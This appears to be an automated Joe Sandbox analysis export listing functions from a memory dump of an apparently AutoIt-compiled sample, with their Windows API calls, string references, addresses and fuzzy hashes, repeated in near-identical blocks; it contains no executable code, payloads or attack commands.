Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: b1202aee6aab6b4f6852fc9b86e375710b727c96e5e12a957aa6134772299f67
Instruction ID: 7f6862e1aa25d1212b0478f27e2e59617508d913c2ceac8a7deba9477661aa33
Opcode Fuzzy Hash: b1202aee6aab6b4f6852fc9b86e375710b727c96e5e12a957aa6134772299f67
Instruction Fuzzy Hash: 2011E372500B16AFCB313F74BC06B6D3B98DB00362B548629FD4D96254EEB0C94097B1

Function 00D444A0 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D444CF

Part of subcall function 00D4407C: _memset.LIBCMT ref: 00D440FC
Part of subcall function 00D4407C: _wcscpy.LIBCMT ref: 00D44150
Part of subcall function 00D4407C: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00D44160

KillTimer.USER32 ref: 00D44524
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00D44533
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00D7D4B9

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: 5b83b62c2e14977a40457bc652bf319ce21be5f43b13b402856ff5d16a6634f9
Instruction ID: 9dc0b19f12ad459d48611298cb60136469b923021db10a9b9a4ae10e0a930029
Opcode Fuzzy Hash: 5b83b62c2e14977a40457bc652bf319ce21be5f43b13b402856ff5d16a6634f9
Instruction Fuzzy Hash: C92107705047849FEB328B24D855BE7BBFDAF01318F08449DE6CE96281D37469C4CB61

Function 00DB6369 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00D45A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00DA7896,?,?,00000000), ref: 00D45A2C
Part of subcall function 00D45A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00DA7896,?,?,00000000,?,?), ref: 00D45A50

gethostbyname.WSOCK32(?,?,?), ref: 00DB6399
WSAGetLastError.WSOCK32(00000000), ref: 00DB63A4
_memmove.LIBCMT ref: 00DB63D1
inet_ntoa.WSOCK32(?), ref: 00DB63DC

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: eae2456c0201ca6b64c877b5ea1d0ccdb136244a7b3984ff6b9f92f5ded7814a
Instruction ID: 2248907b791fda01d03d08907f2310e1af3d408f6acb4da4f5452124b16f06c2
Opcode Fuzzy Hash: eae2456c0201ca6b64c877b5ea1d0ccdb136244a7b3984ff6b9f92f5ded7814a
Instruction Fuzzy Hash: BC11497650010AAFCB00EBA4D996CEEBBB9EF08310B144165F506A7262DB31EE14DB71

Function 00D98B41 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00D98B61
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00D98B73
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00D98B89
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00D98BA4

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: d19f8a5f954c40b05e154aad95aade37b9136262fe381e62a9584a6b28b97f83
Instruction ID: 852432c5282208af8be47eca7a389da9e24ab51e2ea63076e23bee2f3dd684d3
Opcode Fuzzy Hash: d19f8a5f954c40b05e154aad95aade37b9136262fe381e62a9584a6b28b97f83
Instruction Fuzzy Hash: 0F113A79900218BFDF10DB95C884E9DBBB4EB48710F244095E900B7250DA716E10EBA4

Function 00D41290 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00D42612: GetWindowLongW.USER32(?,000000EB), ref: 00D42623

DefDlgProcW.USER32(?,00000020,?), ref: 00D412D8
GetClientRect.USER32(?,?,?,?,?), ref: 00D7B5FB
GetCursorPos.USER32(?), ref: 00D7B605
ScreenToClient.USER32(?,?), ref: 00D7B610

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: f51cc58d441b01823d9d1cf582a8f0f02a739d2fc8dffc1f3ad12cc8ad471838
Instruction ID: a476ab7ab8c8811fc9f5f12002786d91eb7a03d9e94bf932ca821e00f562a0ff
Opcode Fuzzy Hash: f51cc58d441b01823d9d1cf582a8f0f02a739d2fc8dffc1f3ad12cc8ad471838
Instruction Fuzzy Hash: FB11283960011AAFCB00DF98D88ADFE77B9FB05300F404456FA41E7240D770AA918BB9

Function 00DA1142 Relevance: 6.1, APIs: 4, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00D9FCED,?,00DA0D40,?,00008000), ref: 00DA115F
Sleep.KERNEL32(00000000,?,?,?,?,?,?,00D9FCED,?,00DA0D40,?,00008000), ref: 00DA1184
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00D9FCED,?,00DA0D40,?,00008000), ref: 00DA118E
Sleep.KERNEL32(?,?,?,?,?,?,?,00D9FCED,?,00DA0D40,?,00008000), ref: 00DA11C1

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 3c237dbf3b37a18977ee742853fec43a711d0cc7b20f022d747cb1bca7cf7f27
Instruction ID: c1c3e8662a753e562437f59e37f8d5a422a64b342d5faa18c978faba39af8765
Opcode Fuzzy Hash: 3c237dbf3b37a18977ee742853fec43a711d0cc7b20f022d747cb1bca7cf7f27
Instruction Fuzzy Hash: C4113C39D0071EDBCF009FA5D848AEEBBB8FF1A711F054056EA85B2240CB709550CBB5

Function 00D9D831 Relevance: 6.0, APIs: 4, Instructions: 50registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 00D9D84D
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 00D9D864
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 00D9D879
RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 00D9D897

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: d213675190ac33364247ba28972663238871ca6049081c9234e8d7c79e6bfcb1
Instruction ID: 8e7b51579ee5faa8c7ac8f7ecd913107c8ad1292e396d1e5d001f2741fc46344
Opcode Fuzzy Hash: d213675190ac33364247ba28972663238871ca6049081c9234e8d7c79e6bfcb1
Instruction Fuzzy Hash: 74116175605305EBEB209FA0DC09F93BBBDEB00B00F10856AA556D6151D7B0E549DBB1

Function 00D76FB7 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00D76FDB

Part of subcall function 00D776C2: __fltout2.LIBCMT ref: 00D776EB

__cftog_l.LIBCMT ref: 00D77001
__cftoe_l.LIBCMT ref: 00D77033

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: f33b509e0902d6e26b67e77777d37e7f37ec8a3e17ba37f0d0a43fab5f124556
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: 0B014B7244814ABBCF265F84CC01CEE3F72FB18351B588825FA5C59031E236D9B1ABA1

Function 00DCB2C5 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00DCB2E4
ScreenToClient.USER32(?,?), ref: 00DCB2FC
ScreenToClient.USER32(?,?), ref: 00DCB320
InvalidateRect.USER32(?,?,?), ref: 00DCB33B

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 04ed4cdc5c8697f44ff50b5aef0bbaa9953e326e27d01bd88eaa295ecdc9aa07
Instruction ID: b7b37bc7a3f06ac1e2f8ae286476babebba0806d6b0c0dce907189e17881b96d
Opcode Fuzzy Hash: 04ed4cdc5c8697f44ff50b5aef0bbaa9953e326e27d01bd88eaa295ecdc9aa07
Instruction Fuzzy Hash: C1114675D4024AEFDB41CF99C444AEEBBB5FB08310F104166E954E3320D735AA559F60

Function 00DA6BDA Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00DA6BE6

Part of subcall function 00DA76C4: _memset.LIBCMT ref: 00DA76F9

_memmove.LIBCMT ref: 00DA6C09
_memset.LIBCMT ref: 00DA6C16
LeaveCriticalSection.KERNEL32(?), ref: 00DA6C26

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: 74c89344c1faa1661293f26e79ddd37955000aee46e6874da3e1e6b98a4198ec
Instruction ID: afe964941ac6b97398121b892e8610494a1ef2deb5dd8f4d4c0bcd586524f710
Opcode Fuzzy Hash: 74c89344c1faa1661293f26e79ddd37955000aee46e6874da3e1e6b98a4198ec
Instruction Fuzzy Hash: 19F0F47A100210ABCF416F95DC85E8ABF2AEF45361F048065FE089E267D735E911DBB4

Function 00D42218 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008,00000000), ref: 00D42231
SetTextColor.GDI32(?,000000FF), ref: 00D4223B
SetBkMode.GDI32(?,00000001), ref: 00D42250
GetStockObject.GDI32(00000005), ref: 00D42258
GetWindowDC.USER32(?), ref: 00D7BE83
GetPixel.GDI32(00000000,00000000,00000000), ref: 00D7BE90
GetPixel.GDI32(00000000,?,00000000), ref: 00D7BEA9
GetPixel.GDI32(00000000,00000000,?), ref: 00D7BEC2
GetPixel.GDI32(00000000,?,?), ref: 00D7BEE2
ReleaseDC.USER32(?,00000000), ref: 00D7BEED

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: cc9e1b5e9e6f6a39cbc877a09ff8161708d9f81c600ef7d1c21417833045695a
Instruction ID: a0c3eb99d9059c59b50d90909c0578791303b3d7c59357b9eaef7e5aa1f81f51
Opcode Fuzzy Hash: cc9e1b5e9e6f6a39cbc877a09ff8161708d9f81c600ef7d1c21417833045695a
Instruction Fuzzy Hash: 3DE03932104346AADB215F64EC4DBD83B12EB05332F188366FAA9881E197B24980DB32

Function 00D98712 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32(00000028,00000000,?,00000000,00D98195,?,?,?,00D982E6), ref: 00D9871B
OpenThreadToken.ADVAPI32(00000000,?,?,?,00D982E6), ref: 00D98722
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00D982E6), ref: 00D9872F
OpenProcessToken.ADVAPI32(00000000,?,?,?,00D982E6), ref: 00D98736

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 9531a18a15b26f8c58ad025682468e9bf24de18c6433176f2aafefd99883e554
Instruction ID: b6c3b4b238b2d716cebad5c4b170c39226c29ad46810f93afe5080cb88538407
Opcode Fuzzy Hash: 9531a18a15b26f8c58ad025682468e9bf24de18c6433176f2aafefd99883e554
Instruction Fuzzy Hash: 7AE08676611313ABDB205FF05D0CFD67BAEEF51B91F144828F645CA040DA348445D770

Function 00DBAEA2 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 313COMMON

Download Yara Rule

APIs

__itow_s.LIBCMT ref: 00DBAFAE

Strings

xb, xrefs: 00DBAFE4
xb, xrefs: 00DBB010

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: __itow_s
String ID: xb$xb
API String ID: 3653519197-3775679291
Opcode ID: 56b2526e5c068124aa46b9a1a1dd4abd57234eddd838c174ec9b40c2296ada99
Instruction ID: cf82e54c003c05e5e2b32a51f2db11f1cbeedc6062dc727cd1bff4819bae29db
Opcode Fuzzy Hash: 56b2526e5c068124aa46b9a1a1dd4abd57234eddd838c174ec9b40c2296ada99
Instruction Fuzzy Hash: C6B15D70A00209EFCB14DF59C891EFABBB9EF59350F14805AF9469B291EB71D981CB70

Function 00D9B2F3 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 241comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(?,00000001), ref: 00D9B4BE

Strings

Container, xrefs: 00D9B43B
AutoIt3GUI, xrefs: 00D9B436

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container
API String ID: 3565006973-3941886329
Opcode ID: 36bf185e4723873b583cc55b648032c766cae047e072c8d73e6ac1bf5ddd06bc
Instruction ID: 78a7ee06f6238a1d06bffbb57a138b2080afcf0ef620db6e7561810da9b0f5d0
Opcode Fuzzy Hash: 36bf185e4723873b583cc55b648032c766cae047e072c8d73e6ac1bf5ddd06bc
Instruction Fuzzy Hash: 34916870200601EFDB54CF64D984AAABBE5FF48720F25856EF94ACB391DB70E841CB60

Function 00DAAFAC Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00D5FC86: _wcscpy.LIBCMT ref: 00D5FCA9

Part of subcall function 00D49837: __itow.LIBCMT ref: 00D49862
Part of subcall function 00D49837: __swprintf.LIBCMT ref: 00D498AC

__wcsnicmp.LIBCMT ref: 00DAB02D
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 00DAB0F6

Strings

LPT, xrefs: 00DAB027

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: 6ee41dc0c3ec3ce0f1ab9bd3f71b5d6436ba520830d7894d398325ab8c5269c5
Instruction ID: a84a09f2c0e2c7506565d52890782a0bb667d95ea195e02d0b4c6bcd8624af9a
Opcode Fuzzy Hash: 6ee41dc0c3ec3ce0f1ab9bd3f71b5d6436ba520830d7894d398325ab8c5269c5
Instruction Fuzzy Hash: 2861A571A00215AFCB14DF98C8A1EAEB7B4EF09320F04406AF956AB352D770EE45CB74

Function 00D52957 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00D52968
GlobalMemoryStatusEx.KERNEL32(?), ref: 00D52981

Strings

@, xrefs: 00D52975

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: e35dc43122605f462b5c08a9123b42d317baa826d500f93136d5dd7a9d665538
Instruction ID: d1dd7771f4100c122461e5a3446a5be210f25ec1fed357052e152501195aae37
Opcode Fuzzy Hash: e35dc43122605f462b5c08a9123b42d317baa826d500f93136d5dd7a9d665538
Instruction Fuzzy Hash: D45146724087449BD320EF15DC86BAFBBE8FB85344F42885DF6D8811A1DB318529CB76

Function 00DA9734 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00D44F0B: __fread_nolock.LIBCMT ref: 00D44F29

_wcscmp.LIBCMT ref: 00DA9824
_wcscmp.LIBCMT ref: 00DA9837

Strings

FILE, xrefs: 00DA9770

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: 1c7fb6be663a3d0372778a0b49756d12c444c8b9849104885aa283883ffdc476
Instruction ID: e8e547bcc062906c539358c2aa670b968908a93d9fb16e93bf360c55d81d71f6
Opcode Fuzzy Hash: 1c7fb6be663a3d0372778a0b49756d12c444c8b9849104885aa283883ffdc476
Instruction Fuzzy Hash: C041A471A0021ABBDF219EA4CC55FEFBBBDDF86710F004469F904A7181DA75AA488B71

Function 00D80574 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00D8057F

Strings

Dd, xrefs: 00D4A151
Dd, xrefs: 00D4A317

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ClearVariant
String ID: Dd$Dd
API String ID: 1473721057-2413357308
Opcode ID: 0f70ad2cefc19ac77ef1777cd954f0afa8b41b6c2452c24ee17be66e709e7d95
Instruction ID: 69b1219d61c6f1d27720e5044dbbf2d56f873996885dca1016a4dce879c292a5
Opcode Fuzzy Hash: 0f70ad2cefc19ac77ef1777cd954f0afa8b41b6c2452c24ee17be66e709e7d95
Instruction Fuzzy Hash: CA51E0786493428FD754CF19C480A1ABBF2FB99354F58885DE9858B361E332E885CF62

Function 00DB258E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DB259E
